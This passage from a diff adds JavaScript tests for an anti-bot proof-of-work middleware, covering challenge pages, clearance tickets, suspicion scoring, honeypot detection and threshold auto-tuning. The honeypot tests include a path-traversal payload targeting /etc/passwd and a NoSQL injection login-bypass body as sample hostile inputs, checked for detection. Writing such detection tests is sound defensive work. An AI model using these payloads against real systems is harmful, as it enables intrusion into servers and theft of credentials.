+ vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
511
+ return {
512
+ historyScore: 50, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
513
+ };
514
+ });
515
+
516
+ const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' } };
517
+ let sentStatus, sentBody;
518
+ const res = {
519
+ status: (s) => { sentStatus = s; return res; },
520
+ send: (b) => { sentBody = b; },
521
+ cookie: vi.fn() // Mock cookie to prevent errors in getSuspicionVector
522
+ };
523
+ const next = vi.fn(() => { throw new Error('next() should not be called'); });
524
+
525
+ req.fingerprint = {};
526
+ await powMiddleware(securityConfig)(req, res, next);
527
+
528
+ expect(sentStatus, 'Status should be 404').toBe(404);
529
+ expect(sentBody, 'Should send a combined challenge page for medium suspicion').toContain('Enhanced Verification');
530
+ expect(sentBody, 'Challenge should be the combined CPU+Mem type').toContain('Initializing combined verification...');
531
+ });
532
+
533
+ test('should use a custom HTML template for the challenge page if provided', async () => {
534
+ const customTemplate = `
535
+ <!DOCTYPE html>
536
+ <html>
537
+ <head><title>Custom Verification</title></head>
538
+ <body>
539
+ <h1>Please wait, we are checking your browser.</h1>
540
+ <div id="custom-loader">Loading...</div>
541
+ <script><!-- FINGERPRINT_SOLVER_SCRIPT --></script>
542
+ <script><!-- FINGERPRINT_CHALLENGE_SCRIPT --></script>
543
+ <!-- FINGERPRINT_TRAPS -->
544
+ </body>
545
+ </html>`;
546
+
547
+ // Configure le mock de readFileSync pour retourner notre template
548
+ readFileSync.mockReturnValue(customTemplate);
549
+
550
+ const customSecurityConfig = {
551
+ ...securityConfig,
552
+ challengePagePath: './path/to/custom-challenge-page.html',
553
+ };
554
+
555
+ vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({ historyScore: 30 });
556
+
557
+ const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' }, rawHeaders: [], httpVersion: '1.1' };
558
+ let sentStatus, sentBody;
559
+ const res = { status: (s) => { sentStatus = s; return res; }, send: (b) => { sentBody = b; }, cookie: vi.fn() };
560
+ const next = vi.fn();
561
+
562
+ await powMiddleware(customSecurityConfig)(req, res, next);
563
+
564
+ expect(readFileSync).toHaveBeenCalledWith('./path/to/custom-challenge-page.html', 'utf-8');
565
+ expect(sentStatus).toBe(404);
566
+ expect(sentBody).toContain('<h1>Please wait, we are checking your browser.</h1>');
567
+ expect(sentBody).toContain('async function solve()'); // Vérifie que le script du challenge a été injecté
568
+ });
569
+
570
+ test('should issue a high-difficulty combined challenge for a high-suspicion request', async () => {
571
+ vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
572
+ return {
573
+ historyScore: 80, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
574
+ };
575
+ });
576
+
577
+ const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' } };
578
+ let sentStatus, sentBody;
579
+ const res = {
580
+ status: (s) => { sentStatus = s; return res; },
581
+ send: (b) => { sentBody = b; },
582
+ cookie: vi.fn()
583
+ };
584
+ const next = vi.fn(() => { throw new Error('next() should not be called'); });
585
+
586
+ req.fingerprint = {};
587
+ await powMiddleware(securityConfig)(req, res, next);
588
+
589
+ expect(sentStatus, 'Status should be 404').toBe(404);
590
+ expect(sentBody, 'Should send a combined challenge page for high suspicion').toContain('Enhanced Verification');
591
+ });
592
+
593
+ test('should issue a JSON challenge for an API request', async () => {
594
+ // 1. Configure the middleware to identify API requests
595
+ const apiSecurityConfig = {
596
+ ...securityConfig,
597
+ thresholds: {
598
+ ...securityConfig.thresholds,
599
+ // Identifie toute requête acceptant du JSON comme une requête API
600
+ isApiRequest: (req) => req.headers.accept?.includes('application/json'),
601
+ }
602
+ };
603
+
604
+ // 2. Simulate a suspicion score
605
+ vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
606
+ historyScore: 50, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
607
+ });
608
+
609
+ // 3. Simuler une requête API (avec le header 'Accept')
610
+ const req = {
611
+ path: '/api/data', ip: '127.0.0.1', cookies: {}, query: {},
612
+ headers: { 'user-agent': 'test-ua', 'accept': 'application/json' },
613
+ rawHeaders: ['User-Agent', 'test-ua', 'Accept', 'application/json'], httpVersion: '1.1'
614
+ };
615
+ let sentStatus, sentBody;
616
+ const res = {
617
+ status: (s) => { sentStatus = s; return res; },
618
+ json: (b) => { sentBody = b; }, // Utiliser .json() pour les réponses API
619
+ cookie: vi.fn()
620
+ };
621
+ const next = vi.fn();
622
+ req.fingerprint = {}; // Initialize req.fingerprint
623
+
624
+ await powMiddleware(apiSecurityConfig)(req, res, next);
625
+
626
+ expect(sentStatus).toBe(404);
627
+ expect(sentBody.challenge.type).toBe('cpu_mem');
628
+ expect(sentBody.challenge).toHaveProperty('nonce');
629
+ expect(sentBody.challenge).toHaveProperty('cpuTarget');
630
+ });
631
+
632
+ test('should call next() for a suspicious request with a valid ticket', async () => {
633
+ vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
634
+ return {
635
+ historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
636
+ };
637
+ });
638
+
639
+ const ip = '127.0.0.1';
640
+ const expiry = Date.now() + 3600000;
641
+ const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiry}`).digest("hex");
642
+ const validTicket = `${expiry}:${signature}`;
643
+
644
+ const req = { path: '/', ip, cookies: { pow_clearance: validTicket }, query: {}, headers: { 'user-agent': 'test-ua' } };
645
+ const res = { cookie: vi.fn() };
646
+ const next = vi.fn();
647
+
648
+ req.fingerprint = {};
649
+ await powMiddleware(securityConfig)(req, res, next);
650
+
651
+ expect(next, 'next() should have been called for a request with a valid ticket').toHaveBeenCalled();
652
+ });
653
+
654
+ test('should issue a new challenge (re-challenge) if suspicion score is high even with a valid ticket', async () => {
655
+ vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
656
+ historyScore: 80,
657
+ rotationScore: 80,
658
+ headerAnomalyScore: 80,
659
+ inconsistencyScore: 80,
660
+ requestPatternScore: 80,
661
+ honeypotScore: 0
662
+ });
663
+
664
+ const ip = '127.0.0.1';
665
+ const expiry = Date.now() + 3600000;
666
+ const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiry}`).digest("hex");
667
+ const validTicket = `${expiry}:${signature}`;
668
+
669
+ const req = { path: '/', ip, cookies: { pow_clearance: validTicket }, query: {}, headers: { 'user-agent': 'test-ua' } };
670
+ let sentStatus, sentBody;
671
+ const res = {
672
+ status: (s) => { sentStatus = s; return res; },
673
+ send: (b) => { sentBody = b; },
674
+ cookie: vi.fn()
675
+ };
676
+ const next = vi.fn();
677
+
678
+ req.fingerprint = {};
679
+ await powMiddleware(securityConfig)(req, res, next);
680
+
681
+ expect(next).not.toHaveBeenCalled();
682
+ expect(sentStatus).toBe(404);
683
+ expect(sentBody).toContain('Enhanced Verification');
684
+ });
685
+
686
+ test('should redirect after a valid PoW solution is provided', async () => {
687
+ // --- 1. Setup: Define context and mock a suspicious score ---
688
+ const ip = '127.0.0.1';
689
+ const originalPath = '/protected/resource';
690
+ const solverFingerprint = 'fp-for-valid-solution';
691
+ const userAgent = 'test-ua-valid';
692
+
693
+ vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
694
+ historyScore: 30, // A score high enough to trigger a challenge
695
+ });
696
+
697
+ // Merge CI config correctly. The CI config should take precedence.
698
+ const securityConfigWithLowDiff = {
699
+ ...securityConfig, // Base config
700
+ cpu: { minDifficultyBits: 4, ...securityConfig.cpu }, // Apply local diff, but let CI config (securityConfig.cpu) overwrite it.
701
+ };
702
+ const middleware = powMiddleware(securityConfigWithLowDiff);
703
+
704
+ // --- 2. Initial Request: Trigger the challenge ---
705
+ const req1 = {
706
+ path: originalPath, ip, cookies: {}, query: {},
707
+ headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
708
+ rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
709
+ };
710
+ let challengeBody;
711
+ const res1 = {
712
+ status: () => res1,
713
+ send: (body) => { challengeBody = body; },
714
+ cookie: vi.fn()
715
+ };
716
+ req1.fingerprint = {}; // Initialize req.fingerprint
717
+ await middleware(req1, res1, vi.fn());
718
+
719
+ expect(challengeBody).toContain('Enhanced Verification');
720
+
721
+ // --- 3. Client-Side: Solve the challenge ---
722
+ const nonce = challengeBody.match(/const nonce = "([^"]+)"/)[1];
723
+ const clientSecret = challengeBody.match(/const clientSecret = "([^"]+)"/)[1];
724
+ const cpuTargetHex = challengeBody.match(/const cpuTarget = BigInt\("0x" \+ "([^"]+)"\);/)[1];
725
+ const memDifficulty = parseInt(challengeBody.match(/const memDifficulty = (\d+)/)[1], 10);
726
+
727
+ // The client constructs the base block and solves the challenge
728
+ const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
729
+ const cpuSolution = await solveCpuTargetInline(baseBlock, cpuTargetHex, () => {});
730
+ const memSolution = await solveMemory(`:${nonce}:${clientSecret}`, memDifficulty);
731
+
732
+ // --- 4. Submission Request: Send the valid solution ---
733
+ const req2 = {
734
+ path: originalPath, ip, cookies: {},
735
+ query: {
736
+ pow_type: 'cpu_mem',
737
+ pow_nonce: nonce,
738
+ pow_solution_cpu: String(cpuSolution),
739
+ pow_solution_mem: String(memSolution),
740
+ pow_fp: solverFingerprint
741
+ },
742
+ headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
743
+ rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
744
+ };
745
+ let capturedCookie;
746
+ const res2 = {
747
+ cookie: (name, value, options) => { capturedCookie = { name, value, options }; },
748
+ redirect: vi.fn(),
749
+ status: vi.fn(() => res2),
750
+ send: vi.fn(),
751
+ };
752
+
753
+ req2.fingerprint = {}; // Initialize req.fingerprint
754
+ await middleware(req2, res2, vi.fn());
755
+
756
+ // --- 5. Assertions ---
757
+ expect(res2.redirect).toHaveBeenCalledWith(originalPath);
758
+ expect(capturedCookie).toBeDefined();
759
+ expect(capturedCookie.name).toBe('pow_clearance');
760
+ }, 20000);
761
+
762
+ it('should issue a short-lived probationary ticket when a moderately suspicious request solves a challenge', async () => {
763
+ // --- SETUP ---
764
+ // Ce test simule un flux complet en 2 étapes pour être plus réaliste.
765
+ // 1. Une première requête suspecte est envoyée, ce qui déclenche l'émission d'un challenge.
766
+ // 2. Le test résout ce challenge et envoie une seconde requête avec la solution.
767
+ // 3. On vérifie que la réponse à la seconde requête est une redirection avec un cookie probatoire.
768
+
769
+ const ip = '127.0.0.1';
770
+ const probationaryTtl = 30000; // 30 seconds, as defined in fingerprint.js
771
+ const solverFingerprint = 'fp-probation';
772
+ const userAgent = 'test-ua';
773
+
774
+ // --- ÉTAPE 1: Provoquer l'émission du challenge en simulant un score modéré ---
775
+ // We mock getSuspicionVector to ensure the score is in the moderate range (>= low threshold).
776
+ // This is more reliable than trying to manipulate the store.
777
+ vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
778
+ historyScore: 40, // This score is above the 'low' threshold of 20
779
+ rotationScore: 0,
780
+ headerAnomalyScore: 0,
781
+ inconsistencyScore: 0,
782
+ requestPatternScore: 0,
783
+ honeypotScore: 0
784
+ });
785
+
786
+ const initialReq = {
787
+ path: '/some-data', ip, cookies: {}, query: {},
788
+ headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
789
+ rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
790
+ };
791
+ let challengeBody;
792
+ const initialRes = {
793
+ status: () => initialRes,
794
+ send: (body) => { challengeBody = body; },
795
+ cookie: vi.fn()
796
+ };
797
+ const middleware = powMiddleware(securityConfig);
798
+ await middleware(initialReq, initialRes, vi.fn());
799
+
800
+ expect(challengeBody).toBeDefined();
801
+ expect(challengeBody).toContain('Enhanced Verification');
802
+
803
+ // --- ÉTAPE 2: Extraire les paramètres du challenge et le résoudre ---
804
+ const nonce = challengeBody.match(/const nonce = "([^"]+)"/)[1];
805
+ const clientSecret = challengeBody.match(/const clientSecret = "([^"]+)"/)[1];
806
+ const cpuTargetHex = challengeBody.match(/const cpuTarget = BigInt\("0x" \+ "([^"]+)"\);/)[1];
807
+ const memDifficulty = parseInt(challengeBody.match(/const memDifficulty = (\d+)/)[1], 10);
808
+
809
+ // The server stores the challenge context. We need to ensure the `baseBlock` is present for verification.
810
+ const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
811
+ await inMemoryStore.set(`secret:${nonce}`, {
812
+ clientSecret: clientSecret,
813
+ cpuTarget: cpuTargetHex,
814
+ memDifficulty: memDifficulty,
815
+ fingerprint: solverFingerprint, // The server expects this fingerprint.
816
+ originalPath: '/some-data',
817
+ baseBlock: baseBlock, // CRITICAL: The verification function needs this.
818
+ suspicionScore: 40 // Store the score that triggered the challenge
819
+ });
820
+
821
+ // Client-side solving using the real solver function for accuracy
822
+ const cpuSolution = await solveCpuTargetInline(baseBlock, cpuTargetHex, () => {});
823
+ const memSolution = await solveMemory(`:${nonce}:${clientSecret}`, memDifficulty);
824
+
825
+
826
+ // --- ÉTAPE 3: Soumettre la solution ---
827
+ const submissionReq = {
828
+ path: '/some-data', ip, cookies: {},
829
+ query: {
830
+ pow_type: 'cpu_mem',
831
+ pow_nonce: nonce,
832
+ pow_solution_cpu: String(cpuSolution),
833
+ pow_solution_mem: String(memSolution),
834
+ pow_fp: solverFingerprint // The client submits its fingerprint.
835
+ },
836
+ headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint }, rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
837
+ };
838
+
839
+ let capturedCookie;
840
+ const submissionRes = {
841
+ cookie: (name, value, options) => { capturedCookie = { name, value, options }; return submissionRes; },
842
+ redirect: vi.fn(),
843
+ // Add status and send to the mock to handle potential challenge re-issuance on failure
844
+ status: vi.fn(function() { return this; }),
845
+ send: vi.fn(),
846
+ };
847
+
848
+ submissionReq.fingerprint = {}; // Initialize req.fingerprint
849
+ await middleware(submissionReq, submissionRes, vi.fn());
850
+
851
+ // --- ÉTAPE 4: Assertions ---
852
+ expect(submissionRes.redirect).toHaveBeenCalled();
853
+ expect(capturedCookie).toBeDefined();
854
+ expect(capturedCookie.name).toBe('pow_clearance');
855
+ // The key assertion: the cookie's maxAge should be the short probationary TTL
856
+ expect(capturedCookie.options.maxAge).toBe(probationaryTtl);
857
+ }, 40000);
858
+
859
+ test('should NOT redirect if PoW solution is valid but clientSecret is wrong', async () => {
860
+ const ip = '127.0.0.1';
861
+ const nonce = 'test-nonce-wrong-secret';
862
+ const correctClientSecret = 'the-correct-secret'; // This is what the client gets and uses
863
+ const wrongClientSecretOnServer = 'the-wrong-secret';
864
+ const suspicionFactor = 0.1;
865
+ const securityConfigWithLowDiff = {
866
+ ...securityConfig,
867
+ cpu: { minDifficultyBits: 4, ...securityConfig.cpu }, // Merge configs correctly
868
+ };
869
+ const solverFingerprint = 'fp-test';
870
+ const target = __internal.calculateTarget(suspicionFactor, securityConfigWithLowDiff);
871
+ const baseBlock = new TextEncoder().encode(`${nonce}:${correctClientSecret}:${solverFingerprint}:`);
872
+
873
+ // 1. Le client résout le challenge avec le secret qu'il a reçu (le bon)
874
+ let solution = 0;
875
+ // Client-side simulation: hash does NOT include IP when clientSecret is used.
876
+ while (solution < 100000) { // Add a limit to prevent infinite loops in case of bad target
877
+ const hash = createHash('sha256').update(Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))])).digest('hex');
878
+ if (BigInt('0x' + hash) < target) break;
879
+ solution++;
880
+ }
881
+
882
+ // 2. Le serveur, pour une raison quelconque (corruption, attaque), a un mauvais secret stocké
883
+ await inMemoryStore.set(`secret:${nonce}`, {
884
+ clientSecret: wrongClientSecretOnServer, // The secret is wrong
885
+ cpuTarget: target.toString(16), // But the target is correct
886
+ memDifficulty: 0,
887
+ fingerprint: solverFingerprint, // Fingerprint is correct
888
+ baseBlock: new TextEncoder().encode(`${nonce}:${wrongClientSecretOnServer}:${solverFingerprint}:`)
889
+ });
890
+
891
+ vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
892
+ return {
893
+ historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
894
+ };
895
+ });
896
+
897
+ const req = {
898
+ path: '/protected', ip, cookies: {},
899
+ query: {
900
+ pow_type: 'cpu_target', pow_nonce: nonce, pow_solution: solution, pow_fp: solverFingerprint
901
+ },
902
+ headers: { 'user-agent': 'test-ua' }, rawHeaders:[], httpVersion: '1.1'
903
+ };
904
+
905
+ let sentStatus, sentBody;
906
+ const res = {
907
+ status: (s) => { sentStatus = s; return res; },
908
+ send: (b) => { sentBody = b; },
909
+ redirect: vi.fn(), // On s'attend à ce que cette fonction ne soit PAS appelée
910
+ cookie: vi.fn()
911
+ };
912
+ const next = vi.fn();
913
+
914
+ req.fingerprint = {};
915
+ await powMiddleware(securityConfigWithLowDiff)(req, res, next);
916
+
917
+ expect(res.redirect).not.toHaveBeenCalled();
918
+ // An invalid solution is a strong bot signal (honeypotScore=100), which should trigger a block.
919
+ expect(sentStatus, 'Should return status 404 to block the request').toBe(404);
920
+ expect(sentBody, 'Should send a Forbidden message').toBe('Forbidden');
921
+ // Use the same fallback logic as the engine: default block threshold is 95 if not specified.
922
+ const blockThreshold = securityConfigWithLowDiff.thresholds.block ?? 95;
923
+ expect(req.fingerprint.score).toBeGreaterThanOrEqual(blockThreshold);
924
+ });
925
+
926
+ test('should redirect after a valid COMBINED (CPU+Mem) PoW solution is provided', async (context) => {
927
+
928
+ });
929
+ });
930
+
931
+ describe('Suspicion Scoring Logic (Integration)', () => {
932
+ const inMemoryStore = {
933
+ _map: new Map(),
934
+ async get(key) { return this._map.get(key); },
935
+ async set(key, value) { this._map.set(key, value); },
936
+ };
937
+ beforeEach(() => {
938
+ inMemoryStore._map.clear();
939
+ configureStore(inMemoryStore);
940
+ // Add a default mock for getTlsFingerprint to stabilize these tests.
941
+ // This needs to spy on the actual function, not the __internal export.
942
+ vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
943
+ ja3: 'mock-ja3',
944
+ ja4: 'mock-ja4'
945
+ });
946
+ });
947
+
948
+ test('should produce a high historyScore for rapid IP rotation', async () => {
949
+ const req = {
950
+ headers: {
951
+ 'user-agent': 'test',
952
+ 'x-device-fingerprint': 'cvs:123|gpu:456|hw:789' // Simulate client-side FP
953
+ },
954
+ cookies: {}, ip: '1.1.1.1', path: '/', query: {}, rawHeaders: ['User-Agent', 'test']
955
+ };
956
+ const res = { cookie: vi.fn() };
957
+ // Simulate a device using many IPs
958
+ const deviceData = { initialDeviceHash: 'hash1', ips: new Set(['1.1.1.2', '1.1.1.3', '1.1.1.4', '1.1.1.5', '1.1.1.6']), lastUpdate: Date.now(), lastFpHash: 'hash1', lastChangeTimestamp: 0, rapidChangeCount: 0 };
959
+ await inMemoryStore.set('device:test-device-id', deviceData);
960
+ req.cookies.device_id = 'test-device-id';
961
+
962
+ // We need an engine instance to hold the security config for the context
963
+ const securityConfig = {
964
+ weights: { historyScore: 1.0 },
965
+ thresholds: { low: 20 },
966
+ };
967
+ const engine = new FingerprintEngine(securityConfig);
968
+
969
+ req.fingerprint = {}; // Initialize req.fingerprint
970
+ const vector = await __internal.getSuspicionVector(req, securityConfig);
971
+ expect(vector.historyScore).toBeGreaterThan(20);
972
+ });
973
+
974
+ test('should produce a high honeypotScore for a trapped URL parameter', async () => {
975
+ // Configure the honeypot to trap the 'debug' parameter
976
+ const securityConfigWithHoneypot = {
977
+ weights: { honeypotScore: 1.0 },
978
+ thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
979
+ honeypot: { // Configuration complète
980
+ fields: ['email_confirm', 'debug']
981
+ }
982
+ };
983
+ const engine = new FingerprintEngine(securityConfigWithHoneypot);
984
+
985
+ const requestContext = {
986
+ clientIp: '1.1.1.1',
987
+ path: '/',
988
+ cookies: {},
989
+ query: new URLSearchParams({ user_id: '123', debug: 'true' }), // Bot is probing with a 'debug' parameter
990
+ body: {},
991
+ headers: { 'User-agent': 'test' },
992
+ rawHeaders: ['User-Agent', 'test'],
993
+ httpVersion: '1.1',
994
+ isStatic: false
995
+ };
996
+
997
+ requestContext.fingerprint = {}; // Initialize req.fingerprint
998
+ // Call the main engine processing method to get the full decision object
999
+ const decision = await engine.processRequest(requestContext);
1000
+ console.log({decision})
1001
+
1002
+ // The honeypotScore should be 100 because the 'debug' parameter was found
1003
+ expect(decision.vector.honeypotScore).toBe(100);
1004
+ expect(decision.score).toBe(100); // With weight 1.0, the final score should also be 100
1005
+ });
1006
+
1007
+ test('should produce a high honeypotScore for RCE attempt in body', async () => {
1008
+ const securityConfig = {
1009
+ weights: { honeypotScore: 1.0 },
1010
+ thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
1011
+ honeypot: { detectInjections: true } // Configuration complète
1012
+ };
1013
+ const engine = new FingerprintEngine(securityConfig);
1014
+ const requestContext = {
1015
+ query: {},
1016
+ path: '/',
1017
+ body: { filename: "../../../etc/passwd" },
1018
+ headers: { 'user-agent': 'test' },
1019
+ // ... autres propriétés du contexte
1020
+ };
1021
+
1022
+ requestContext.fingerprint = {}; // Initialize req.fingerprint
1023
+ const decision = await engine.processRequest(requestContext);
1024
+ expect(decision.vector.honeypotScore).toBe(100);
1025
+ expect(decision.score).toBe(100);
1026
+ });
1027
+
1028
+ test('should produce a high honeypotScore for NoSQL injection attempt in body', async () => {
1029
+ const securityConfig = {
1030
+ weights: { honeypotScore: 1.0 },
1031
+ thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
1032
+ honeypot: { detectInjections: true } // Configuration complète
1033
+ };
1034
+ const engine = new FingerprintEngine(securityConfig);
1035
+ const requestContext = {
1036
+ query: {},
1037
+ path: '/',
1038
+ body: { "username": { "$ne": null }, "password": { "$ne": null } },
1039
+ headers: { 'user-agent': 'test' },
1040
+ // ... autres propriétés du contexte
1041
+ };
1042
+
1043
+ requestContext.fingerprint = {}; // Initialize req.fingerprint
1044
+ const decision = await engine.processRequest(requestContext);
1045
+ expect(decision.vector.honeypotScore).toBe(100);
1046
+ expect(decision.score).toBe(100);
1047
+ });
1048
+
1049
+ test('should produce a zero honeypotScore for a normal request', async () => {
1050
+ const securityConfig = {
1051
+ weights: { honeypotScore: 1.0 },
1052
+ thresholds: { low: 20, medium: 45, high: 75 },
1053
+ // Explicitly disable the new device challenge for this test to ensure a score of 0 is possible.
1054
+ challengeNewDevices: false,
1055
+ honeypot: { detectInjections: true } // Configuration complète
1056
+ };
1057
+ const engine = new FingerprintEngine(securityConfig);
1058
+ const requestContext = {
1059
+ query: new URLSearchParams({ id: "123" }),
1060
+ body: { comment: "This is a normal comment." },
1061
+ headers: { 'user-agent': 'test' },
1062
+ path: '/'
1063
+ };
1064
+ requestContext.fingerprint = {}; // Initialize req.fingerprint
1065
+ const decision = await engine.processRequest(requestContext);
1066
+ expect(decision.vector.honeypotScore).toBe(0); // Le score honeypot doit être 0
1067
+ });
1068
+ });
1069
+
1070
+ describe('Threshold Auto-Tuning', () => {
1071
+ let setIntervalSpy, clearIntervalSpy, consoleLogSpy;
1072
+
1073
+ beforeEach(() => {
1074
+ setIntervalSpy = vi.spyOn(global, 'setInterval');
1075
+ clearIntervalSpy = vi.spyOn(global, 'clearInterval');
1076
+ consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {});
1077
+ });
1078
+ afterEach(() => {
1079
+ vi.restoreAllMocks();
1080
+ stopThresholdAutoTuning(); // Ensure cleanup after each test
1081
+ });
1082
+
1083
+ test('should start, run an optimization cycle, and update thresholds', () => {
1084
+ const trafficData = [];
1085
+ const securityConfig = {
1086
+ thresholds: { low: 50, medium: 70, high: 90 }, // Mauvais seuils initiaux intentionnels
1087
+ weights: { historyScore: 0.5, rotationScore: 0.5, requestPatternScore: 0.5 }, // Poids initiaux
1088
+ patterns: { velocityThreshold: 1000, decayFactor: 0.9 }, // Patterns initiaux
1089
+ logger: (log) => trafficData.push(log),
1090
+ };
1091
+
1092
+ // Generate mock data where optimal 'low' threshold is around 25
1093
+ // Bots with low scores (false negatives)
1094
+ for (let i = 0; i < 50; i++) {
1095
+ const score = 15 + Math.random() * 5;
1096
+ trafficData.push({ type: 'challenge_issued', deviceId: `bot-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
1097
+ }
1098
+ // Humans with slightly higher scores (false positives)
1099
+ for (let i = 0; i < 50; i++) {
1100
+ const score = 30 + Math.random() * 5;
1101
+ trafficData.push({ type: 'request_passed', deviceId: `human-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
1102
+ }
1103
+ // Solved challenges (clear humans)
1104
+ for (let i = 0; i < 20; i++) {
1105
+ const score = 40;
1106
+ trafficData.push({ type: 'challenge_solved', deviceId: `human-solver-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
1107
+ }
1108
+
1109
+
1110
+ startThresholdAutoTuning({
1111
+ securityConfig,
1112
+ trafficData,
1113
+ interval: 60000, // 1 minute
1114
+ minDataPoints: 100,
1115
+ });
1116
+
1117
+ // Manually trigger the optimization cycle
1118
+ const intervalCallback = setIntervalSpy.mock.calls[0][0];
1119
+ intervalCallback();
1120
+
1121
+ // The genetic algorithm should find better thresholds.
1122
+ // We expect 'low' to decrease significantly from 50.
1123
+ // With inertia, the change is gradual. We check that it has decreased but not jumped to the final value.
1124
+ expect(securityConfig.thresholds.low).toBeLessThan(50); // It must have decreased.
1125
+ expect(securityConfig.thresholds.low).toBeGreaterThan(30); // It shouldn't have jumped all the way down.
1126
+ expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Nouvelle configuration de sécurité optimisée appliquée.'));
1127
+ expect(setIntervalSpy).toHaveBeenCalledTimes(1);
1128
+
1129
+ // Stop the tuner and check if the interval is cleared
1130
+ stopThresholdAutoTuning();
1131
+ expect(clearIntervalSpy).toHaveBeenCalled();
1132
+ });
1133
+
1134
+ test('should not run optimization if data points are insufficient', () => {
1135
+ const trafficData = [];
1136
+ const securityConfig = {
1137
+ thresholds: { low: 20, medium: 45, high: 75 },
1138
+ weights: {}, // Add missing properties to prevent TypeError
1139
+ patterns: {}, // Add missing properties to prevent TypeError
1140
+ logger: (log) => trafficData.push(log),
1141
+ };
1142
+
1143
+ // Generate only 50 data points, less than the minimum of 100
1144
+ for (let i = 0; i < 50; i++) {
1145
+ const score = 10;
1146
+ trafficData.push({ type: 'request_passed', deviceId: `human-${i}`, score, vector: { historyScore: score } });
1147
+ }
1148
+
1149
+ startThresholdAutoTuning({
1150
+ securityConfig,
1151
+ trafficData,
1152
+ interval: 60000,
1153
+ minDataPoints: 100,
1154
+ });
1155
+
1156
+ // Manually trigger the cycle
1157
+ const intervalCallback = setIntervalSpy.mock.calls[0][0];
1158
+ intervalCallback();
1159
+
1160
+ // Check that optimization was postponed
1161
+ expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Reporté'));
1162
+ // Thresholds should not have changed
1163
+ expect(securityConfig.thresholds).toEqual({ low: 20, medium: 45, high: 75 });
1164
+
1165
+ // Add more data to meet the minDataPoints and MIN_CONFIDENCE_RATIO thresholds
1166
+ // 1. Add enough low-confidence data to reach the minDataPoints
1167
+ for (let i = 0; i < 45; i++) { // Add 45 more to reach 95
1168
+ const score = 10;
1169
+ trafficData.push({ type: 'request_passed', deviceId: `human-new-${i}`, score, vector: { historyScore: score } });
1170
+ }
1171
+ // 2. Add high-confidence data to pass the ratio check (5% of 100 is 5)
1172
+ for (let i = 0; i < 5; i++) {
1173
+ const score = 30;
1174
+ trafficData.push({ type: 'challenge_solved', deviceId: `solver-${i}`, score, vector: { historyScore: score } });
1175
+ }
1176
+
1177
+ // Trigger again
1178
+ intervalCallback();
1179
+ // Now that both conditions (minDataPoints and confidence ratio) are met, optimization should start.
1180
+ expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Démarrage du cycle d\'optimisation'));
1181
+ });
1182
+ });
1183
+
1184
+
1185
+ describe('getHoneypotScore Advanced Detections', () => {
1186
+ // Helper to run tests through the real FingerprintEngine
1187
+ beforeEach(() => {
1188
+ vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: 'mock-ja3', ja4: 'mock-ja4' });
1189
+ });
1190
+
1191
+ const getHoneypotScoreFromEngine = async (context, honeypotConfig) => {
1192
+ const securityConfig = {
1193
+ weights: { honeypotScore: 1.0 }, // Isolate honeypot score
1194
+ thresholds: { low: 1, medium: 2, high: 3 }, // Configuration complète
1195
+ honeypot: honeypotConfig, // Configuration complète
1196
+ };
1197
+ // The engine expects a full request context. We build one here.
1198
+ const fullContext = {
1199
+ clientIp: '127.0.0.1',
1200
+ path: '/',
1201
+ query: {},
1202
+ cookies: {},
